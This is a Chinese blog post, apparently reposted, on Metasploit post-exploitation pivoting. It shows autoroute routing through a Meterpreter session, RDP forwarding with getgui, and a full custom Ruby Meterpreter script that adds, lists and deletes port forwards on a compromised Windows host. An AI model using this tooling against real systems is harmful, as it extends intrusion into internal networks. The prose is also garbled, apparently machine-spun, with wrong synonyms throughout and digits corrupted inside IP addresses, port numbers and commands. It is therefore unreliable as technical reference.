|
|
|
联系客服020-83701501

Metasploit后渗透技巧[2]

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
Metasploit后浸透技能格式[2]

初度打仗msf最让人高兴乐意的莫过于跳板遵守,经过msf添加路由遵守,大概直接独霸msf对原本不能访问的内网进行连贯(建树访问连贯是浸透的第1步),1旦建树连贯那么就是想干甚么都大概真是强大很是。

11.PNG

独霸meterpreter的autoroute遵守,即可实现该把持。首先独霸get_local_subnets脚本取得受控细碎本地子网,尔后独霸autoroute脚本添加路由。多么把持后就会看到添加的路由表,网关是session 3即payload程序。假设我在msf指定某个模块的ip地点是1九2.1六8.2四4.*,则会经过session3 网关进行转发,访问到目标ip.

跟建树网络连贯的另有1个经常独霸的,就是网络映照遵守,meterpreter中有1个getgui脚本(我的bt下脚本寄放路径/opt/metasploit/msf3/scripts/meterpreter外表有很多写好的脚本,如下图所示)

12.PNG

在《metasploit浸透测试指南》上说,getgui大概将远程的338九映照到本地的指定端口,遵守,这就是1个网络映照过程。

13.PNG

看其独霸体式格局,很简单,这里我不添加用户名和明码,直接建树连贯。运行run getgui -e -f 8080

14.png

履行后建树了连贯

15.PNG

大概建树连贯,转发凋射了。

但是在浸透测试中须要,总是在刷新的,畴前也有过须要,将内网的某个端口映照出来,进行连贯,是否也大概做到?带着这个标题问题,我看了1下getgui的实古代码。

16.PNG

我没有学过ruby,但是看了多么代码,很繁杂赫然分明,刚刚履行的run getgui -e -f 8080时,则含有-f则frwrd变量设置为true。而且保管-f背面的端口到变量lport中,而下面当frwrd为true,则会调用portfwd add -L 0.0.0.0 -l #{lport} -p 338九 -r 127.0.0.1 将远程338九(相关于payload便是127.0.0.1)映照到本地的指定的端口。

可见建树网络映照只须要这条命令即可。搜索该命令地点文件:

17.PNG

发明是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定义的。

18.PNG

应该是该命令的具体实现。从参数中很繁杂看出来。各个参数的含义。

19.PNG

大概看到否决很多命令add、delete、list等。

是以,如法泡制。假设我想将远程主机的10081端口映照到本地的10081端口,那怎样实现?

只须要1句话

client.run_cmd(220;portfwd add -L 0.0.0.0 -l 10081 -p 10081 -r 127.0.0.1221;)

在/opt/metasploit/msf3/scripts/meterpreter目次下创建changeport.rb

20.PNG

运行1下创建的脚本

21.PNG

看1下端口外形:

22.PNG

映照已经凋射。

从刚刚portfwd的命令大概知道,其否决add、delete、list命令,是以继续丰厚本身的脚本,大概实现多么1个遵守,添加端口映照、删除端口映照、查看端口映照。如法泡制大概写出如下脚本

Default
123四5六78九101112131四151六17181九202122232四252六27282九303132333四353六37383九四0四1四2四3四4四5四六四7四8四九505152535四555六57585九六0六1六2六3六四六5六6六7六8六九707172737四757六77787九808182838四858六87888九90九1九2九3九四九5九六九7九8九910010110210310四10510六10710810九11011111211311四11511六11711811九12012112212312四12512六12712812九13013113213313四13513六13713813九1四01四11四21四3 # Author: buchedan.org #------------------------------------------------------------------------------- ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new(        "-h" => [ true, "Help menu." ],        "-c" => [ true, "include -add -list -del. " ],        "-l" => [ true,  "localport and it is not using." ],        "-r" => [ true,  "remoteip of trying to connect." ],        "-p" => [ true,  "remoteport of trying to connect." ] ) def usage        print_line("portfwd ")        print_line("Usage: changeport -c add  -l <localport> -r <remoteip> -p <remoteport>")        print_line("Usage: changeport -c list ")        print_line("Usage: changeport -c del -l <localport> ")        print(@@exec_opts.usage)        raise Rex::Script::Completed end def message        print_status "portfwd remoteip port to localport"        print_status "http://buchedan.org" end ################## MAIN ################## # Parsing of Options cmd  = nil lport = nil rip   = nil rport = nil @@exec_opts.parse(args) { |opt, idx, val|        case opt        when "-c"               cmd = val        when "-h"               usage        when "-l"               lport = val        when "-r"               rip = val        when "-p"               rport = val        end } if client.platform =~ /win32|win六四/        if args.length > 0               # show info               message                 case cmd                      when "list"                             client.run_cmd("portfwd list")                      when "add"                             if (!lport or !rip or !rport)                                    print_error("You must supply a local port, remote host, and remote port.")                             return                             end                             client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}")                             #print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}")                      when "del"                             if(!lport)                                    print_error("You must supply a local port.")                                    return                             else                                    client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}")                             end                      end        else               usage        end else        print_error("This version of Meterpreter is not supported with this Script!")        raise Rex::Script::Completed end

放入到/opt/metasploit/msf3/scripts/meterpreter下

独霸体式格局演示

23.PNG

大概浮现救济消息,建树映照,浮现映照,删除映照。固然鸟语写的不好,只有本身能看懂。

起先蓦地影象,才发明现在的本身是多么的2,本来meterpreter本身就有这个portfwd遵守,大概直接独霸,我真是脱裤子放屁了。彻底实现了add、list与delete。

总结

本文主要深造,独霸lcx做端口转发,将两个内网板滞(目标板滞和msf)建树连贯,同时独霸msfpayload进行作为跳板,大概进行继续浸透。开首是简单实现端口映照,体味基本的mterpreter脚本编程。

备注:

本文主若是以windows下payload为例,实在msf否决很多种脚本建树连贯。

相关文章链接:《Metasploit后浸透技能格式[1]》

[via@buchedan]

数安新闻+更多

证书相关+更多